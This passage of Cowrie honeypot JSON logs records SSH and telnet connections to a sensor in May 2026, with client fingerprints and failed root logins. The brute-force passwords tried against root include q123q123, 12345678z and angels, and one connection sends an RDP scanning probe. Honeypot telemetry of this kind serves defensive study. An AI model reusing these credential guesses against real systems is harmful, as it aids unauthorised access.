16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.425402Z","src_ip":"77.94.47.83","session":"218fde3515e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50822,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a883ce3301","protocol":"telnet","message":"New connection: 192.119.13.58:50822 (10.17.0.5:23) [session: f4a883ce3301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.436909Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"q123q123","message":"login attempt [root/q123q123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:35.795887Z","src_ip":"77.94.47.83","session":"218fde3515e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:36.921096Z","src_ip":"77.94.47.83","session":"218fde3515e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":34126,"dst_ip":"159.203.135.109","dst_port":22,"session":"42289018ba87","protocol":"ssh","message":"New connection: 103.82.132.16:34126 (159.203.135.109:22) [session: 42289018ba87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:52.654001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:52.659859Z","src_ip":"103.82.132.16","session":"42289018ba87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:52.927549Z","src_ip":"103.82.132.16","session":"42289018ba87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"59trick","message":"login attempt [root/59trick] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:53.710845Z","src_ip":"103.82.132.16","session":"42289018ba87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:54.973874Z","src_ip":"103.82.132.16","session":"42289018ba87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35006,"dst_ip":"159.203.135.109","dst_port":22,"session":"838f9afa514b","protocol":"ssh","message":"New connection: 51.250.105.222:35006 (159.203.135.109:22) [session: 838f9afa514b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:58.538677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:58.543562Z","src_ip":"51.250.105.222","session":"838f9afa514b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:58.668625Z","src_ip":"51.250.105.222","session":"838f9afa514b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjrjvjnbd","message":"login attempt [root/kjrjvjnbd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:34:59.041830Z","src_ip":"51.250.105.222","session":"838f9afa514b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:00.178567Z","src_ip":"51.250.105.222","session":"838f9afa514b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":56842,"dst_ip":"159.203.135.109","dst_port":22,"session":"5afd9f86ad89","protocol":"ssh","message":"New connection: 103.27.238.116:56842 (159.203.135.109:22) [session: 5afd9f86ad89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:05.575270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:05.581662Z","src_ip":"103.27.238.116","session":"5afd9f86ad89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:05.853586Z","src_ip":"103.27.238.116","session":"5afd9f86ad89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678z","message":"login attempt [root/12345678z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:06.604536Z","src_ip":"103.27.238.116","session":"5afd9f86ad89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:07.857114Z","src_ip":"103.27.238.116","session":"5afd9f86ad89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":53692,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ec584ab0e4b","protocol":"ssh","message":"New connection: 152.42.212.128:53692 (10.17.0.5:22) [session: 7ec584ab0e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:12.915071Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:12.920882Z","src_ip":"152.42.212.128","session":"7ec584ab0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:12.926285Z","src_ip":"152.42.212.128","session":"7ec584ab0e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.60589671134949,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:35:21.042718Z","src_ip":"192.119.13.58","session":"f4a883ce3301","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":47306,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c3a142e4bdf","protocol":"ssh","message":"New connection: 193.228.128.84:47306 (10.17.0.5:22) [session: 3c3a142e4bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:01.187778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:01.192366Z","src_ip":"193.228.128.84","session":"3c3a142e4bdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:01.294666Z","src_ip":"193.228.128.84","session":"3c3a142e4bdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe456","message":"login attempt [root/123qwe456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:01.605822Z","src_ip":"193.228.128.84","session":"3c3a142e4bdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:02.713584Z","src_ip":"193.228.128.84","session":"3c3a142e4bdf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59420,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f9264c39ee7","protocol":"ssh","message":"New connection: 103.183.114.55:59420 (10.17.0.5:22) [session: 9f9264c39ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:27.452924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:27.457531Z","src_ip":"103.183.114.55","session":"9f9264c39ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:27.680825Z","src_ip":"103.183.114.55","session":"9f9264c39ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.121.69.138","src_port":64548,"dst_ip":"10.17.0.5","dst_port":22,"session":"c919739d5895","protocol":"ssh","message":"New connection: 87.121.69.138:64548 (10.17.0.5:22) [session: c919739d5895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:27.922464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:27.928732Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.012940Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"angels","message":"login attempt [root/angels] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.351882Z","src_ip":"103.183.114.55","session":"9f9264c39ee7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:00:00:33:f9:ba:f2:d8:e6:af:03:87:41:db:21:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOCVQIFA5xnw0zzUEle6j6tsr8Hty4Un/vFjpshsj1y8rR/wf9/H3pDU6TTSbOGehLNLTgUqpPzl7CLLGMtjzhMwkL/qYOStclYCeGMeeE35G7Cuc2hG4A6wFsJywmnceAGuKg5jP5BvW7vr4+8kv2UOxaKDeyqOlziMvxWQ4InOWfnKN4LWgNQHKR1GBoV3qubr6Qu2A2IT85Y8dwMIAwVFVyFbIb/5+RRC1B2Ie/bU84g3Wq9e/AlsJ5UUzmmEOEgUaIfj9X3vzr5IAsZWBZ4Uf13r37ICeymahuRHD5TqH2dpbWXQhGUTRJbedFZ894qIHrqYIBzNVToqoF0pSZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:00:00:33:f9:ba:f2:d8:e6:af:03:87:41:db:21:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.404216Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:00:00:33:f9:ba:f2:d8:e6:af:03:87:41:db:21:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOCVQIFA5xnw0zzUEle6j6tsr8Hty4Un/vFjpshsj1y8rR/wf9/H3pDU6TTSbOGehLNLTgUqpPzl7CLLGMtjzhMwkL/qYOStclYCeGMeeE35G7Cuc2hG4A6wFsJywmnceAGuKg5jP5BvW7vr4+8kv2UOxaKDeyqOlziMvxWQ4InOWfnKN4LWgNQHKR1GBoV3qubr6Qu2A2IT85Y8dwMIAwVFVyFbIb/5+RRC1B2Ie/bU84g3Wq9e/AlsJ5UUzmmEOEgUaIfj9X3vzr5IAsZWBZ4Uf13r37ICeymahuRHD5TqH2dpbWXQhGUTRJbedFZ894qIHrqYIBzNVToqoF0pSZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.411449Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:d3:fb:da:72:d7:0c:de:85:df:1b:a1:ae:1b:13:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUOR2D1XvGi/Vn9Y56a2nneIdPcNLJoBP7TKWGUGVWq9E+YNG2++0pPK+44qAMlvR+0gNM/OjwTbf8/MDKwq//Myn4MUIz9N0tFBRTTAKuMBbuPJFLDCJtSzxZXAd9a+mK7GQksplhJkho3LAZokjGb0Cb6tRGcUDrpTAOtKfiW1urtSVcp4dfUWHBGMEPJEk0BJZ2fZTDDZ8u5xqisbzBwOsAu+1o9fF0s5kasTt8eMn1wLwfFE68AbnAeyeMzabuqhxt6n/igDFUbPyLNU3JOTgO5xYSLBwnkrNL7EAgQ2bcsMLXWgH/xE7XXVd2Hw9GcPjzB+596jh21Bomox4T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:d3:fb:da:72:d7:0c:de:85:df:1b:a1:ae:1b:13:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.496027Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:d3:fb:da:72:d7:0c:de:85:df:1b:a1:ae:1b:13:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCUOR2D1XvGi/Vn9Y56a2nneIdPcNLJoBP7TKWGUGVWq9E+YNG2++0pPK+44qAMlvR+0gNM/OjwTbf8/MDKwq//Myn4MUIz9N0tFBRTTAKuMBbuPJFLDCJtSzxZXAd9a+mK7GQksplhJkho3LAZokjGb0Cb6tRGcUDrpTAOtKfiW1urtSVcp4dfUWHBGMEPJEk0BJZ2fZTDDZ8u5xqisbzBwOsAu+1o9fF0s5kasTt8eMn1wLwfFE68AbnAeyeMzabuqhxt6n/igDFUbPyLNU3JOTgO5xYSLBwnkrNL7EAgQ2bcsMLXWgH/xE7XXVd2Hw9GcPjzB+596jh21Bomox4T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:36:28.500374Z","src_ip":"87.121.69.138","session":"c919739d5895","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:9c:04:45:9a:0d:60:7f:5a:23:bf:69:86:57:76:dc","key":"ssh-rsa 